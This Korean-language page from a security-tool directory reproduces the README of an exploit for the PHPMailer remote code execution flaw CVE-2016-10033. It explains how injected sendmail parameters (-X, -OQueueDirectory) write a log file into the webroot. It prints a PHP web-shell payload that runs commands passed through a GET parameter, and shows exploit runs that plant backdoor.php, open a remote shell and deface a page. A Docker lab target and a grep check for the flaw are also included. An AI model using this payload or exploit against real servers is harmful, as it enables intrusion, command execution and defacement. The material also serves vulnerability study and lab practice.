Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 원격 코드 실행 | Kitploit
도구/GitHubGitHub/zeeshanbhattined/exploit-cve-2016-10033
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload DevelopmentLabs & Practice
GitHub
zeeshanbhattined/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 원격 코드 실행

저장소 보기
134년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHPMailer < 5.2.18 원격 코드 실행

Docker Pulls License

PHPMailer는 전 세계적으로 약 900만 명의 사용자를 보유한 세계에서 가장 인기 있는 전송 클래스입니다. 매일 상당한 속도로 다운로드가 계속되고 있습니다. WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! 등 많은 오픈소스 프로젝트에서 사용됩니다.

PHPMailer 5.2.18 이전 버전에는 원격 코드 실행(RCE)으로 이어질 수 있는 취약점이 존재합니다. PHPMailer의 isMail 전송 방식에 있는 mailSend 함수는 Sender 속성이 설정되지 않은 경우, 원격 공격자가 mail 명령에 추가 파라미터를 전달하고 조작된 From 주소에 포함된 " (백슬래시 큰따옴표)를 통해 임의 코드를 실행할 수 있게 허용할 수 있습니다.

취약 환경

테스트를 위해 취약한 환경을 구축하려면 Docker가 설치되어 있어야 하며, 다음 명령어를 실행하기만 하면 됩니다:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

그러면 호스트의 8080 포트에 취약한 웹 애플리케이션이 실행됩니다.

vulnerable

익스플로잇

이 대상을 익스플로잇하려면 다음을 실행하세요:

root@kitploit:~
./exploit host:port

이 취약한 이미지를 사용 중이라면 다음을 실행하면 됩니다:

root@kitploit:~
./exploit localhost:8080

익스플로잇 후 backdoor.php라는 파일이 웹 디렉터리의 루트 폴더에 저장됩니다. 그리고 익스플로잇은 백도어에 명령을 보낼 수 있는 셸을 제공합니다:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

그게 다입니다. 셸을 획득했습니다. 또 다른 사용 사례를 보여주는 다른 익스플로잇도 있습니다.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

그리고 페이지를 다시 방문하면 다음과 같은 화면을 볼 수 있습니다:

defaced

취약한 코드

이 커밋 이전의 class.phpmailer.php에서는 특정 시나리오에서 보낸 사람 이메일 주소의 특수 문자에 대한 필터가 없습니다. 이 결함은 mail 함수 여기를 통해 원격 코드 실행으로 이어질 수 있습니다.

코드를 분석해 보면 mailSend() 함수에는 필터가 없습니다:

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender는 validateAddress() 함수에서 필터링되었던 $params 변수에 직접 추가됩니다. 그러나 RFC 3696 사양을 사용하므로 문제를 일으킬 수 있는 특정 문자를 허용합니다. 이 경우에는 따옴표입니다:

백슬래시 문자를 사용한 인용 외에도 일반적인 큰따옴표 문자를 사용하여 문자열을 감쌀 수 있습니다. 예를 들어

"Abc@def"@example.com

"Fred Bloggs"@example.com

는 위의 처음 두 예의 대체 형식입니다. 이러한 인용 형식은 권장되는 경우가 거의 없으며 실제로도 흔하지 않지만, 위에서 논의한 바와 같이 이메일 주소를 처리하는 애플리케이션은 이를 지원해야 합니다. 특히 인용 형식은 다른 시스템 및 컨텍스트에서의 전환과 관련된 주소의 맥락에서 자주 나타납니다. 이러한 전환 요구 사항은 여전히 발생하며, 사용자가 제공한 이메일 주소를 수락하는 시스템은 해당 주소가 레거시 시스템과 연관되어 있는지 "알" 수 없으므로 주소 형식을 수락하여 이메일 환경으로 전달해야 합니다.

원한다면 전체 RFC를 여기에서 읽을 수 있습니다. 또한 PHP 버전이 5.2.0보다 낮고 PCRE가 설치되어 있지 않으면 validateAddress()의 $patternselect 변수가 noregex로 설정됩니다. 이로 인해 입력이 정규식 검사를 피할 수 있게 됩니다. 단지 작은 검증만 통과하면 됩니다:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

그런 다음 코드 흐름은 mailPassthru() 함수로 이동합니다. 다음 코드에서 알 수 있듯이 safe_mode에서 실행 중이면 이 결함에 취약하지 않습니다:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

하지만 safe_mode로 실행 중이 아니라면 우리의 특수 파라미터가 mail()에 전달되며, 운이 좋다면 우리가 원하는 내용이 담긴 파일이 우리가 선택한 위치에 기록되도록 할 수 있습니다.

PHP mail() 함수 익스플로잇에 관한 참고 사항

PHP mail() 함수의 익스플로잇은 새로운 것이 아니지만 여전히 유효하며 사람들은 여전히 사용하고 있습니다. 작동 방식을 설명하기 위해 mail() 함수가 어떻게 정의되어 있는지 살펴보겠습니다:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

다양한 결과를 위한 여러 익스플로잇 방법이 있습니다. 여기서는 원격 코드 실행(RCE)을 위한 5번째 파라미터의 익스플로잇에 초점을 맞출 것입니다. $additional_parameters 파라미터는 이메일을 보내도록 구성된 프로그램에 명령줄 옵션으로 추가 플래그를 전달하는 데 사용됩니다. 이 구성은 sendmail_path 변수로 정의됩니다.

PHP 공식 문서의 보안 참고 사항:

additional_parameters 파라미터는 sendmail_path 구성 설정에 정의된 메일 전송 시 사용하도록 구성된 프로그램에 명령줄 옵션으로 추가 플래그를 전달하는 데 사용할 수 있습니다. 예를 들어, sendmail을 -f sendmiail 옵션과 함께 사용할 때 봉투 발신자 주소를 설정하는 데 사용할 수 있습니다.

이 파라미터는 명령 실행을 방지하기 위해 내부적으로 escapeshellcmd()에 의해 이스케이프됩니다. escapeshellcmd()는 명령 실행을 방지하지만 추가 파라미터를 추가하는 것은 허용합니다. 보안상의 이유로 사용자는 셸 명령에 원치 않는 파라미터가 추가되지 않도록 이 파라미터를 정화하는 것이 좋습니다.

주입할 수 있는 추가 파라미터를 고려하여 이 결함을 익스플로잇하기 위해 -X를 사용할 것입니다. -X 파라미터에 대한 자세한 내용입니다:

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

존재한다는 사실을 알아두면 좋은 다른 흥미로운 파라미터들도 있습니다:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

그리고:

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

그리고 -O 옵션의 경우 QueueDirectory가 가장 흥미로운 옵션입니다. 이 옵션은 메시지를 큐에 넣을 디렉터리를 선택합니다.

파라미터와 옵션의 전체 목록을 읽으려면 man sendmail을 실행하거나 여기에서 온라인으로 읽어보세요.

이 정보와 다른 파라미터 중 하나 이상을 제어할 수 있는 능력을 바탕으로 호스트를 익스플로잇할 수 있습니다. 다음은 성공적인 익스플로잇을 위한 단계입니다:

  • $additional_parameters와 다른 mail() 파라미터를 제어합니다.
  • 대상 시스템과 사용자(예: www-data)가 접근할 수 있는 대상 호스트의 쓰기 가능한 디렉터리를 알아야 합니다. 일반적으로 이 디렉터리는 webroot 아래 어디든 될 수 있습니다(다른 시스템의 경우 /var/www/html, 이 예제의 경우 /www).
  • 원하는 PHP 페이로드. 이 예제에서는 파싱을 쉽게 하기 위해 base64와 특수 문자 |를 약간 사용한 간단한 system() 페이로드를 사용합니다.
  • 모든 것을 함께 조립하면 됩니다!

-X 옵션은 지정한 디렉터리에 로그 정보 중 PHP 페이로드가 포함된 로그 파일을 작성한다는 점을 기억하세요. 취약한 PHP 코드의 예입니다:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

위 코드를 실행하면 /www/backdoor.php에 로그 파일이 생성됩니다. 이것이 이 익스플로잇의 핵심입니다.

페이로드

이 예제에서 사용된 페이로드는 다음과 같습니다

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

버그를 쫓고 싶은데, 이제 어떻게 하죠?

이 결함을 찾아내는 쉽고 한 줄짜리 방법을 원하시나요? 이 마법 같은 grep 명령어를 기억하세요!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

이 저장소에 대해 실행하면 다음과 같은 결과가 나옵니다

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

크레딧

이 취약점은 Dawid Golunski에 의해 발견되었습니다.

면책 조항

이 프로그램 또는 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마세요. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이러한 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 어떠한 손해에 대해서도 책임지지 않습니다. 저자 또는 인터넷 서비스 제공자는 이러한 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이러한 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 opsxcq의 책임이 아님을 수락하게 됩니다.

도구 다운로드